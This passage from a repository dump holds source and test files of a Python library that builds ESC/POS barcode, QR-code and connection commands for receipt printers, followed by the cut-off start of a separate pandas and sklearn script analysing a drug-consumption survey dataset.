ESC/POS systems should rely on these end-user values\n and then make their best efforts to translate to the implementation\n specific values.\n\"\"\"\n\nfrom six.moves import range\n\nfrom .helpers import is_value_in\n\n\nNUL_TERM_UPC_A = '\\x00'\nNUL_TERM_UPC_E = '\\x01'\nNUL_TERM_JAN13_EAN13 = '\\x02'\nNUL_TERM_JAN8_EAN8 = '\\x03'\nNUL_TERM_CODE39 = '\\x04'\nNUL_TERM_ITF = '\\x05'\nNUL_TERM_CODABAR_NW_7 = '\\x06'\n\nNUL_TERM_SYMBOLOGIES = (\n (NUL_TERM_UPC_A, 'UPC-A'),\n (NUL_TERM_UPC_E, 'UPC-E'),\n (NUL_TERM_JAN13_EAN13, 'JAN-13/EAN-13'),\n (NUL_TERM_JAN8_EAN8, 'JAN-8/EAN-8'),\n (NUL_TERM_CODE39, 'Code 39'),\n (NUL_TERM_ITF, 'ITF-14'),\n (NUL_TERM_CODABAR_NW_7, 'Codabar NW-7'),\n )\n\n\nUPC_A = 'A'\nUPC_E = 'B'\nJAN13_EAN13 = 'C'\nJAN8_EAN8 = 'D'\nCODE39 = 'E'\nITF = 'F'\nCODABAR_NW_7 = 'G'\nCODE93 = 'H'\nCODE128 = 'I'\nGS1_128 = 'J'\nGS1_DATABAR_OMNIDIRECTIONAL = 'K'\nGS1_DATABAR_TRUNCATED = 'L'\nGS1_DATABAR_LIMITED = 'M'\nGS1_DATABAR_EXPANDED = 'N'\n\nSYMBOLOGIES = (\n (UPC_A, 'UPC-A'),\n (UPC_E, 'UPC-E'),\n (JAN13_EAN13, 'JAN-13/EAN-13'),\n (JAN8_EAN8, 'JAN-8/EAN-8'),\n (CODE39, 'Code 39'),\n (ITF, 'ITF-14'),\n (CODABAR_NW_7, 'Codabar NW-7'),\n (CODE93, 'Code 93'),\n (CODE128, 'Code 128'),\n (GS1_128, 'GS1-128 (UCC/EAN-128)'),\n (GS1_DATABAR_OMNIDIRECTIONAL, 'GS1 DataBar Omnidirectional'),\n (GS1_DATABAR_TRUNCATED, 'GS1 DataBar Truncated'),\n (GS1_DATABAR_LIMITED, 'GS1 DataBar Limited'),\n (GS1_DATABAR_EXPANDED, 'GS1 DataBar Expanded'),\n )\n\n\nBARCODE_NORMAL_WIDTH = 1\nBARCODE_DOUBLE_WIDTH = 2\nBARCODE_QUADRUPLE_WIDTH = 3\n\nBARCODE_WIDTHS = (\n (BARCODE_NORMAL_WIDTH, u'Normal width'),\n (BARCODE_DOUBLE_WIDTH, u'Double width'),\n (BARCODE_QUADRUPLE_WIDTH, u'Quadruple width'),\n )\n\"\"\"\nPossible barcode width values.\n\"\"\"\n\n\nBARCODE_HRI_NONE = 0\nBARCODE_HRI_TOP = 1\nBARCODE_HRI_BOTTOM = 2\nBARCODE_HRI_BOTH = 3\n\nBARCODE_HRI_POSITIONING = (\n (BARCODE_HRI_NONE, u'No HRI'),\n (BARCODE_HRI_TOP, u'HRI on top of barcode'),\n (BARCODE_HRI_BOTTOM, u'HRI on bottom of barcode'),\n (BARCODE_HRI_BOTH, u'HRI on both top and bottom of bar code'),\n )\n\"\"\"\nPossible barcode HRI (*human readable information*) positionings.\n\"\"\"\n\n\nCODE128_A = 'A'\nCODE128_B = 'B'\nCODE128_C = 'C'\n\nCODE128_CODESETS = (\n (CODE128_A, 'Code 128 A'),\n (CODE128_B, 'Code 128 B'),\n (CODE128_C, 'Code 128 C'),\n )\n\nQRCODE_ERROR_CORRECTION_L = 'L'\nQRCODE_ERROR_CORRECTION_M = 'M'\nQRCODE_ERROR_CORRECTION_Q = 'Q'\nQRCODE_ERROR_CORRECTION_H = 'H'\n\nQRCODE_ERROR_CORRECTION_LEVELS = (\n (QRCODE_ERROR_CORRECTION_L, 'Level L (~7%)'),\n (QRCODE_ERROR_CORRECTION_M, 'Level M (~15%)'),\n (QRCODE_ERROR_CORRECTION_Q, 'Level Q (~25%)'),\n (QRCODE_ERROR_CORRECTION_H, 'Level H (~30%)'),\n )\n\"\"\"\nQRCode possible error correction levels for ``qrcode_ecc_level`` keyword\nargument. See http://www.qrcode.com/en/about/error_correction.html.\n\"\"\"\n\n\nQRCODE_MODULE_SIZE_4 = 4\nQRCODE_MODULE_SIZE_5 = 5\nQRCODE_MODULE_SIZE_6 = 6\nQRCODE_MODULE_SIZE_7 = 7\nQRCODE_MODULE_SIZE_8 = 8\n\nQRCODE_MODULE_SIZES = (\n (QRCODE_MODULE_SIZE_4, '4-dot'),\n (QRCODE_MODULE_SIZE_5, '5-dot'),\n (QRCODE_MODULE_SIZE_6, '6-dot'),\n (QRCODE_MODULE_SIZE_7, '7-dot'),\n (QRCODE_MODULE_SIZE_8, '8-dot'),\n )\n\"\"\"\nQRCode possible module sizes for ``qrcode_module_size`` keyword argument.\nSee http://www.qrcode.com/en/howto/cell.html.\n\"\"\"\n\n\n_BARCODE_ARGS = {\n 'barcode_height':\n lambda v: v in range(1, 256),\n\n 'barcode_width':\n lambda v: is_value_in(BARCODE_WIDTHS, v),\n\n 'barcode_hri':\n lambda v: is_value_in(BARCODE_HRI_POSITIONING, v),\n }\n\n\n_QRCODE_ARGS = {\n 'qrcode_module_size':\n lambda v: is_value_in(QRCODE_MODULE_SIZES, v),\n\n 'qrcode_ecc_level':\n lambda v: is_value_in(QRCODE_ERROR_CORRECTION_LEVELS, v),\n }\n\n\n\ndef gs_k_barcode_configure(**kwargs):\n commands = []\n\n if 'barcode_height' in kwargs:\n barcode_height = kwargs.get('barcode_height')\n commands.append('\\x1D\\x68' + chr(barcode_height))\n\n if 'barcode_width' in kwargs:\n widths = {\n BARCODE_NORMAL_WIDTH: 2,\n BARCODE_DOUBLE_WIDTH: 3,\n BARCODE_QUADRUPLE_WIDTH: 4,}\n barcode_width = widths.get(kwargs.get('barcode_width'))\n commands.append('\\x1D\\x77' + chr(barcode_width))\n\n if 'barcode_hri' in kwargs:\n values = {\n BARCODE_HRI_NONE: 0,\n BARCODE_HRI_TOP: 1,\n BARCODE_HRI_BOTTOM: 2,\n BARCODE_HRI_BOTH: 3,}\n barcode_hri = values.get(kwargs.get('barcode_hri'))\n commands.append('\\x1D\\x48' + chr(barcode_hri))\n\n return commands\n\n\ndef gs_k_barcode(symbology, data, **kwargs):\n \"\"\"Build standard ESC/POS barcode through ``GS k`` command set. Keyword\n arguments can be used to configure barcode height, bar widths and HRI\n positioning. User applications should not use this function. This function\n is provided as an ESC/POS \"standard barcode command set\" to be used by\n specific implementations.\n\n :param symbology: The symbology to build. Should be one of the constants in\n :attr:`NUL_TERM_SYMBOLOGIES` or :attr:`SYMBOLOGIES`.\n\n :param data: The barcode data. You should draw up your data according to\n the symbology. If you do not want to worry about data formating then\n you should use barcode methods provided by the reference ESC/POS\n implementation :class:`~escpos.impl.epson.GenericESCPOS` instead of\n this function.\n\n :param barcode_height: Optional.\n :param barcode_width: Optional.\n :param barcode_hri: Optional.\n\n :return: A list of commands, ready to be sent to the device.\n :rtype: list\n\n \"\"\"\n commands = gs_k_barcode_configure(**kwargs)\n\n if symbology in (\n NUL_TERM_UPC_A,\n NUL_TERM_UPC_E,\n NUL_TERM_JAN13_EAN13,\n NUL_TERM_JAN8_EAN8,\n NUL_TERM_CODE39,\n NUL_TERM_ITF,\n NUL_TERM_CODABAR_NW_7,):\n # null-terminated\n commands.append('\\x1D\\x6B{}{}\\x00'.format(symbology, data))\n\n else:\n commands.append('\\x1D\\x6B{}{}{}\\x00'.format(\n symbology, chr(len(data)), data))\n\n return commands\n\n\ndef validate_barcode_args(**kwargs):\n \"\"\"\n Validate barcode keyword arguments.\n\n .. sourcecode::\n\n >>> validate_barcode_args(**{})\n >>> validate_barcode_args(**{'barcode_height': 50})\n >>> validate_barcode_args(**{'barcode_width': BARCODE_NORMAL_WIDTH})\n >>> validate_barcode_args(**{'barcode_hri': BARCODE_HRI_TOP})\n >>> validate_barcode_args(**{\n ... 'barcode_height': 100,\n ... 'barcode_width': BARCODE_DOUBLE_WIDTH,\n ... 'barcode_hri': BARCODE_HRI_BOTH})\n\n >>> validate_barcode_args(**{'no_bars': 123})\n Traceback (most recent call last):\n ...\n ValueError: Unexpected keyword argument: 'no_bars'\n\n >>> validate_barcode_args(**{'barcode_height': 0})\n Traceback (most recent call last):\n ...\n ValueError: Invalid argument value: barcode_height=0\n\n \"\"\"\n _validate_kwargs(_BARCODE_ARGS, **kwargs)\n\n\ndef validate_qrcode_args(**kwargs):\n \"\"\"\n Validate QRCode keyword arguments.\n\n .. sourcecode::\n\n >>> validate_qrcode_args(**{})\n >>> validate_qrcode_args(**{'qrcode_ecc_level': 'L'})\n >>> validate_qrcode_args(**{'qrcode_module_size': 4})\n >>> validate_qrcode_args(**{\n ... 'qrcode_ecc_level': 'L',\n ... 'qrcode_module_size': 4})\n\n >>> validate_qrcode_args(**{'oops': 123})\n Traceback (most recent call last):\n ...\n ValueError: Unexpected keyword argument: 'oops'\n\n >>> validate_qrcode_args(**{'qrcode_ecc_level': 'IMPOSSIBLE'})\n Traceback (most recent call last):\n ...\n ValueError: Invalid argument value: qrcode_ecc_level=IMPOSSIBLE\n\n \"\"\"\n _validate_kwargs(_QRCODE_ARGS, **kwargs)\n\n\ndef _validate_kwargs(possible_kwargs, **kwargs):\n for argument, value in kwargs.items():\n _validate_kwarg_name(possible_kwargs, argument)\n _validate_kwarg_value(possible_kwargs, argument, value)\n\n\ndef _validate_kwarg_name(possible_kwargs, argument):\n if argument not in possible_kwargs.keys():\n raise ValueError(\"Unexpected keyword argument: '{}'\".format(argument))\n\n\ndef _validate_kwarg_value(possible_kwargs, argument, value):\n if not possible_kwargs[argument](value):\n raise ValueError(\"Invalid argument value: {:s}={!s}\".format(\n argument, value))\n\n" }, { "alpha_fraction": 0.6133460998535156, "alphanum_fraction": 0.6443167328834534, "avg_line_length": 26, "blob_id": "429fafb25e46a597f472ffe6da9445c0d3c04895", "content_id": "6c7d10800539ae0883181113803c6a3933afd41f", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3132, "license_type": "permissive", "max_line_length": 75, "num_lines": 116, "path": "/escpos/tests/test_conn_bt.py", "repo_name": "fabianoengler/pyescpos", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n#\n# escpos/tests/test_conn_bt.py\n#\n# Copyright 2018 Base4 Sistemas Ltda ME\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#\n\nimport pytest\n\nimport bluetooth\n\nfrom escpos.conn.bt import find_rfcomm_port\nfrom escpos.conn.bt import BluetoothPortDiscoveryError\nfrom escpos.conn.bt import BluetoothConnection\n\n\nclass FakeBluetoothSocket(object):\n\n def __init__(self, protocol):\n self._protocol = protocol\n self._connected = False\n self._buffer = []\n\n\n def connect(self, address):\n self._connected = True\n\n\n def shutdown(self, how):\n self._connected = False\n\n\n def close(self):\n self._connected = False\n\n\n def send(self, data):\n self._assert_connected()\n self._buffer.append(data)\n return len(data)\n\n\n def recv(self):\n self._assert_connected()\n return ''.join(self._buffer)\n\n\n def _assert_connected(self):\n assert self._connected, 'Connection is closed or has been shutdown'\n\n\ndef test_find_rfcomm_port(monkeypatch):\n def mockreturn(address=None, name=None, uuid=None):\n return [{\n 'description': None,\n 'host': '00:01:02:03:04:05',\n 'name': 'SerialPort',\n 'port': 4,\n 'profiles': [('1101', 256)],\n 'protocol': 'RFCOMM',\n 'provider': None,\n 'service-classes': ['1101'],\n 'service-id': None\n },]\n\n monkeypatch.setattr(bluetooth, 'find_service', mockreturn)\n\n port = find_rfcomm_port('00:01:02:03:04:05')\n assert port == 4\n\n with pytest.raises(BluetoothPortDiscoveryError):\n port = find_rfcomm_port('00:00:00:00:00:00')\n\n\ndef test_find_rfcomm_port_no_services(monkeypatch):\n def mockreturn(address=None, name=None, uuid=None):\n return []\n monkeypatch.setattr(bluetooth, 'find_service', mockreturn)\n with pytest.raises(BluetoothPortDiscoveryError):\n port = find_rfcomm_port('00:00:00:00:00:00')\n\n\n\ndef test_simple_rxtx(monkeypatch):\n def mockreturn(protocol):\n return FakeBluetoothSocket(protocol)\n\n monkeypatch.setattr(bluetooth, 'BluetoothSocket', mockreturn)\n\n conn = BluetoothConnection.create('00:01:02:03:04:05/2')\n assert conn.address == '00:01:02:03:04:05'\n assert conn.port == 2\n assert conn.socket is None\n\n conn.catch()\n assert conn.socket is not None\n\n conn.write('The quick brown fox ')\n conn.write('jumps over the lazy dog')\n data = conn.read()\n assert data == 'The quick brown fox jumps over the lazy dog'\n\n conn.release()\n assert conn.socket is None\n" }, { "alpha_fraction": 0.6794966459274292, "alphanum_fraction": 0.7039230465888977, "avg_line_length": 34.55263137817383, "blob_id": "927b7f6a911f4f21fbd5c9bb6f5baf3ba0f1e0a5", "content_id": "430353da1913876d61705b73998538fde32f28b0", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1351, "license_type": "permissive", "max_line_length": 80, "num_lines": 38, "path": "/escpos/tests/test_asc.py", "repo_name": "fabianoengler/pyescpos", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n#\n# escpos/tests/test_asc.py\n#\n# Copyright 2015 Base4 Sistemas Ltda ME\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#\n\nimport pytest\n\nfrom escpos import asc\n\n\ndef test_mnemonic():\n assert asc.mnemonic(-1) is None, 'There is no mnemonic for ASCII code -1'\n assert asc.mnemonic(32) is None, 'There is no mnemonic for ASCII code 32'\n assert asc.mnemonic(0) == 'NUL', 'Mnemonic for ASCII code 0 should be \"NUL\"'\n assert asc.mnemonic(31) == 'US', 'Mnemonic for ASCII code 0 should be \"US\"'\n\n\ndef test_ascii_code_from_mnemonic():\n assert asc.value('ESC') == 27, 'Mnemonic \"ESC\" should be ASCII code 27'\n assert asc.value('Esc') == 27, 'Mnemonic \"Esc\" should be ASCII code 27'\n assert asc.value('esc') == 27, 'Mnemonic \"esc\" should be ASCII code 27'\n\n with pytest.raises(ValueError):\n asc.value('NOP')\n" }, { "alpha_fraction": 0.696402370929718, "alphanum_fraction": 0.7000734210014343, "avg_line_length": 28.934066772460938, "blob_id": "72a08eeb95a32fdebce0864680f5bea8fdc55c4d", "content_id": "84a8d2aa2d3e78dd07a0c7d02dcd571dbd8e483e", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2724, "license_type": "permissive", "max_line_length": 88, "num_lines": 91, "path": "/escpos/config.py", "repo_name": "fabianoengler/pyescpos", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n#\n# escpos/config.py\n#\n# Copyright 2018 Base4 Sistemas Ltda ME\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#\n\nfrom __future__ import absolute_import\n\nimport logging\nimport os\n\nfrom six.moves.configparser import SafeConfigParser\nfrom collections import namedtuple\n\nfrom . import constants\n\n\nRETRY_SECTION = 'retry'\n\nDEFAULT_CONFIG_FILENAME = os.path.join(os.path.expanduser('~'), '.escpos', 'config.cfg')\n\nRetrySettings = namedtuple('RetrySettings', ['max_tries', 'delay', 'factor',])\n\nretry = None\n\nlogger = logging.getLogger('escpos.config')\n\n\ndef configure(filename=None):\n \"\"\"This function gives to the user application a chance to define where\n configuration file should live. Subsequent calls to this function will have\n no effect, unless you call :func:`reconfigure`.\n\n :param str filename: Full path to configuration file.\n\n \"\"\"\n global retry\n\n if getattr(configure, '_configured', False):\n return\n\n filename = filename or DEFAULT_CONFIG_FILENAME\n _ensure_directory(filename)\n\n parser = SafeConfigParser()\n\n if os.path.isfile(filename):\n with open(filename, 'rt') as fp:\n parser.readfp(fp)\n\n if not parser.has_section(RETRY_SECTION):\n parser.add_section(RETRY_SECTION)\n parser.set(RETRY_SECTION, 'max_tries', str(constants.BACKOFF_DEFAULT_MAXTRIES))\n parser.set(RETRY_SECTION, 'delay', str(constants.BACKOFF_DEFAULT_DELAY))\n parser.set(RETRY_SECTION, 'factor', str(constants.BACKOFF_DEFAULT_FACTOR))\n\n with open(filename, 'wt') as fp:\n parser.write(fp)\n\n retry = RetrySettings(\n max_tries=parser.getint(RETRY_SECTION, 'max_tries'),\n delay=parser.getint(RETRY_SECTION, 'delay'),\n factor=parser.getint(RETRY_SECTION, 'factor'))\n\n setattr(configure, '_configured', True)\n setattr(configure, '_configured_filename', filename)\n\n\ndef reconfigure(filename=None):\n setattr(configure, '_configured', False)\n configure(filename=filename)\n\n\ndef _ensure_directory(filename):\n path, _ = os.path.split(filename)\n if not os.path.isdir(path):\n logger.warning('creating configuration directory for: %r', filename)\n os.makedirs(path)\n" }, { "alpha_fraction": 0.6313892602920532, "alphanum_fraction": 0.6376146674156189, "avg_line_length": 35.33333206176758, "blob_id": "c4c186555fa980aa0b23e14e262282dafa680044", "content_id": "3d731d67b39abaa36a53fbde5a418a593cba80f2", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3052, "license_type": "permissive", "max_line_length": 97, "num_lines": 84, "path": "/escpos/retry.py", "repo_name": "fabianoengler/pyescpos", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n#\n# escpos/retry.py\n#\n# Copyright 2018 Base4 Sistemas Ltda ME\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#\n\nfrom __future__ import absolute_import\n\nimport logging\nimport time\n\nfrom . import constants\n\n\nlogger = logging.getLogger('escpos.retry')\n\n\ndef backoff(\n max_tries=constants.BACKOFF_DEFAULT_MAXTRIES,\n delay=constants.BACKOFF_DEFAULT_DELAY,\n factor=constants.BACKOFF_DEFAULT_FACTOR,\n exceptions=None):\n \"\"\"Implements an exponential backoff decorator which will retry decorated\n function upon given exceptions. This implementation is based on\n `Retry <https://wiki.python.org/moin/PythonDecoratorLibrary#Retry>`_ from\n the *Python Decorator Library*.\n\n :param int max_tries: Number of tries before give up. Defaults to\n :const:`~escpos.constants.BACKOFF_DEFAULT_MAXTRIES`.\n\n :param int delay: Delay between retries (in seconds). Defaults to\n :const:`~escpos.constants.BACKOFF_DEFAULT_DELAY`.\n\n :param int factor: Multiply factor in which delay will be increased for the\n next retry. Defaults to :const:`~escpos.constants.BACKOFF_DEFAULT_FACTOR`.\n\n :param exceptions: Tuple of exception types to catch that triggers retry.\n Any exception not listed will break the decorator and retry routines\n will not run.\n\n :type exceptions: tuple[Exception]\n\n \"\"\"\n if max_tries <= 0:\n raise ValueError('Max tries must be greater than 0; got {!r}'.format(max_tries))\n\n if delay <= 0:\n raise ValueError('Delay must be greater than 0; got {!r}'.format(delay))\n\n if factor <= 1:\n raise ValueError('Backoff factor must be greater than 1; got {!r}'.format(factor))\n\n def outter(f):\n def inner(*args, **kwargs):\n m_max_tries, m_delay = max_tries, delay # make mutable\n while m_max_tries > 0:\n try:\n retval = f(*args, **kwargs)\n except exceptions:\n logger.exception('backoff retry for: %r (max_tries=%r, delay=%r, '\n 'factor=%r, exceptions=%r)', f, max_tries, delay, factor, exceptions)\n m_max_tries -= 1 # consume an attempt\n if m_max_tries <= 0:\n raise # run out of tries\n time.sleep(m_delay) # wait...\n m_delay *= factor # make future wait longer\n else:\n # we're done without errors\n return retval\n return inner\n return outter\n" }, { "alpha_fraction": 0.6377952694892883, "alphanum_fraction": 0.6692913174629211, "avg_line_length": 20.16666603088379, "blob_id": "7edaf33c48a96637b1c60ff36904bc9660815501", "content_id": "4b8ed5f5695440c731296784ef7eca9a7e346dbd", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "INI", "length_bytes": 127, "license_type": "permissive", "max_line_length": 47, "num_lines": 6, "path": "/tox.ini", "repo_name": "fabianoengler/pyescpos", "src_encoding": "UTF-8", "text": "[tox]\nenvlist = py27,py34\n\n[testenv]\ndeps=pytest # install pytest in the venvs\ncommands=py.test # or 'nosetests' or ...\n" }, { "alpha_fraction": 0.6233905553817749, "alphanum_fraction": 0.6298283338546753, "avg_line_length": 23.85333251953125, "blob_id": "7bc94b077e2669ebcd112e156a02daa727327f6b", "content_id": "03af01d7c2779275691aaa02acfb2a34c24d2de5", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1864, "license_type": "permissive", "max_line_length": 79, "num_lines": 75, "path": "/escpos/conn/file.py", "repo_name": "fabianoengler/pyescpos", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n#\n# escpos/conn/file.py\n#\n# Copyright 2017 KMEE INFORMATICA LTDA\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#\n\nfrom __future__ import absolute_import\nfrom __future__ import print_function\n\n\nclass FileConnection(object):\n\n SETTINGS_EXAMPLE = '/dev/usb/lp0'\n\n\n @classmethod\n def create(cls, settings, **kwargs):\n return cls(devfile=settings, **kwargs)\n\n\n def __init__(self, devfile=\"/dev/usb/lp0\", auto_flush=True):\n super(FileConnection, self).__init__()\n self.devfile = devfile\n self.auto_flush = auto_flush\n self.open()\n\n\n def open(self):\n \"\"\"Open system file.\"\"\"\n self.device = open(self.devfile, \"wb\")\n if self.device is None:\n print(\"Could not open the specified file {0}\".format(self.devfile))\n\n\n def flush(self):\n \"\"\"Flush printing content.\"\"\"\n self.device.flush()\n\n\n def write(self, data):\n \"\"\"Print any command sent in raw format.\n\n :param bytes data: arbitrary code to be printed.\n \"\"\"\n self.device.write(data)\n if self.auto_flush:\n self.flush()\n\n\n def close(self):\n \"\"\"Close system file.\"\"\"\n if self.device is not None:\n self.device.flush()\n self.device.close()\n\n\n def catch(self):\n return True\n\n\n def read(self):\n pass\n" }, { "alpha_fraction": 0.4702380895614624, "alphanum_fraction": 0.5114087462425232, "avg_line_length": 18.57281494140625, "blob_id": "1f8a9f953d6360e6dc24f3e22778a2d838ef6b60", "content_id": "3bdb2b0a42d949b2273e3018263c9f474cd8af75", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2016, "license_type": "permissive", "max_line_length": 78, "num_lines": 103, "path": "/escpos/asc.py", "repo_name": "fabianoengler/pyescpos", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n#\n# escpos/asc.py\n#\n# Copyright 2015 Base4 Sistemas Ltda ME\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#\n\nNUL = 0\nSOH = 1\nSTX = 2\nETX = 3\nEOT = 4\nENQ = 5\nACK = 6\nBEL = 7\nBS = 8\nHT = 9\nLF = 10\nVT = 11\nFF = 12\nCR = 13\nSO = 14\nSI = 15\nDLE = 16\nDC1 = 17\nDC2 = 18\nDC3 = 19\nDC4 = 20\nNAK = 21\nSYN = 22\nETB = 23\nCAN = 24\nEM = 25\nSUB = 26\nESC = 27\nFS = 28\nGS = 29\nRS = 30\nUS = 31\n\nMNEMONIC_TABLE = (\n (NUL, 'NUL'),\n (SOH, 'SOH'),\n (STX, 'STX'),\n (ETX, 'ETX'),\n (EOT, 'EOT'),\n (ENQ, 'ENQ'),\n (ACK, 'ACK'),\n (BEL, 'BEL'),\n (BS, 'BS'),\n (HT, 'HT'),\n (LF, 'LF'),\n (VT, 'VT'),\n (FF, 'FF'),\n (CR, 'CR'),\n (SO, 'SO'),\n (SI, 'SI'),\n (DLE, 'DLE'),\n (DC1, 'DC1'),\n (DC2, 'DC2'),\n (DC3, 'DC3'),\n (DC4, 'DC4'),\n (NAK, 'NAK'),\n (SYN, 'SYN'),\n (ETB, 'ETB'),\n (CAN, 'CAN'),\n (EM, 'EM'),\n (SUB, 'SUB'),\n (ESC, 'ESC'),\n (FS, 'FS'),\n (GS, 'GS'),\n (RS, 'RS'),\n (US, 'US'),)\n\n\ndef mnemonic(n):\n \"\"\"\n Returns mnemonic for ``n`` if ``0 <= n <= 31`` or ``None``.\n \"\"\"\n if 0 <= n <= 31:\n return MNEMONIC_TABLE[n][1]\n return None\n\n\ndef value(mnemonic):\n \"\"\"\n Returns the value of mnemonic (case-insensitive). Raises ``ValueError`` if\n the given mnemonic does not exists.\n \"\"\"\n codes, mnemonics = zip(*MNEMONIC_TABLE)\n return mnemonics.index(mnemonic.upper())\n" }, { "alpha_fraction": 0.7297064065933228, "alphanum_fraction": 0.7435232996940613, "avg_line_length": 33.05882263183594, "blob_id": "df683a52a92bbd1a806179ca72e9933e57c01851", "content_id": "fbfa91d64fa26c3c1a23b6c161fb9566defa18ec", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1158, "license_type": "permissive", "max_line_length": 76, "num_lines": 34, "path": "/escpos/constants.py", "repo_name": "fabianoengler/pyescpos", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n#\n# escpos/constants.py\n#\n# Copyright 2015 Base4 Sistemas Ltda ME\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#\n\nCASHDRAWER_DEFAULT_DURATION = 200\n\"\"\"Duration for cash drawer activation (kick) in milliseconds.\nSee :meth:`~escpos.impl.epson.GenericESCPOS.kick_drawer` method for details.\n\"\"\"\n\nBACKOFF_DEFAULT_MAXTRIES = 3\n\"\"\"Number of tries before give up. See :func:`escpos.retry.backoff`\"\"\"\n\nBACKOFF_DEFAULT_DELAY = 3\n\"\"\"Delay between retries (in seconds). See :func:`escpos.retry.backoff`\"\"\"\n\nBACKOFF_DEFAULT_FACTOR = 2\n\"\"\"Multiply factor in which delay will be increased for the next retry.\nSee :func:`escpos.retry.backoff`.\n\"\"\"\n" } ]
28
Atik14/DrugConsumption_Analysis
https://github.com/Atik14/DrugConsumption_Analysis
13ad94e372fade02080cd369846e1f1d87bde864
19c5c86904743b8fd71625ce05094934a59af4f2
c0177a65363db73d1df078352644d59c86454ee0
refs/heads/main
2023-02-16T22:24:06.299586
2021-01-10T23:13:05
2021-01-10T23:13:05
325,039,396
1
1
null
null
null
null
null
[ { "alpha_fraction": 0.6027851104736328, "alphanum_fraction": 0.6420604586601257, "avg_line_length": 20.12714195251465, "blob_id": "7da4a68d7b636103984cce829d86b187b3291805", "content_id": "5c09ff0c9a689f4837f61b1faba8c6c1fc27f78e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 14797, "license_type": "no_license", "max_line_length": 415, "num_lines": 700, "path": "/model.py", "repo_name": "Atik14/DrugConsumption_Analysis", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\n# coding: utf-8\n\n# In[1]:\n\nimport os\nimport numpy as np\nimport pandas as pd\nimport matplotlib\nimport seaborn as sns\nimport matplotlib.pyplot as plt\nfrom pandas.plotting import scatter_matrix\nimport cython\nimport sklearn\nfrom sklearn import preprocessing\nfrom sklearn.preprocessing import scale\nfrom sklearn.metrics import confusion_matrix, classification_report\nfrom scipy import cluster\nfrom sklearn.naive_bayes import GaussianNB\nfrom sklearn import metrics\npd.options.mode.chained_assignment = None\n\n\n# In[2]:\n\n\n# Name our columns after analysis data-sheet from dataset source\n\nnames = ['ID', 'Age', 'Gender', 'Education', 'Country', 'Ethnicity', 'Neuroticism', 'Extraversion', 'Openness', 'Agreeableness', 'Conscientiousness', 'Impulsiveness', 'Sensation_seeking', 'Alcohol', 'Amphetamine', 'Amyl_nitrite', 'Benzodiazepine', 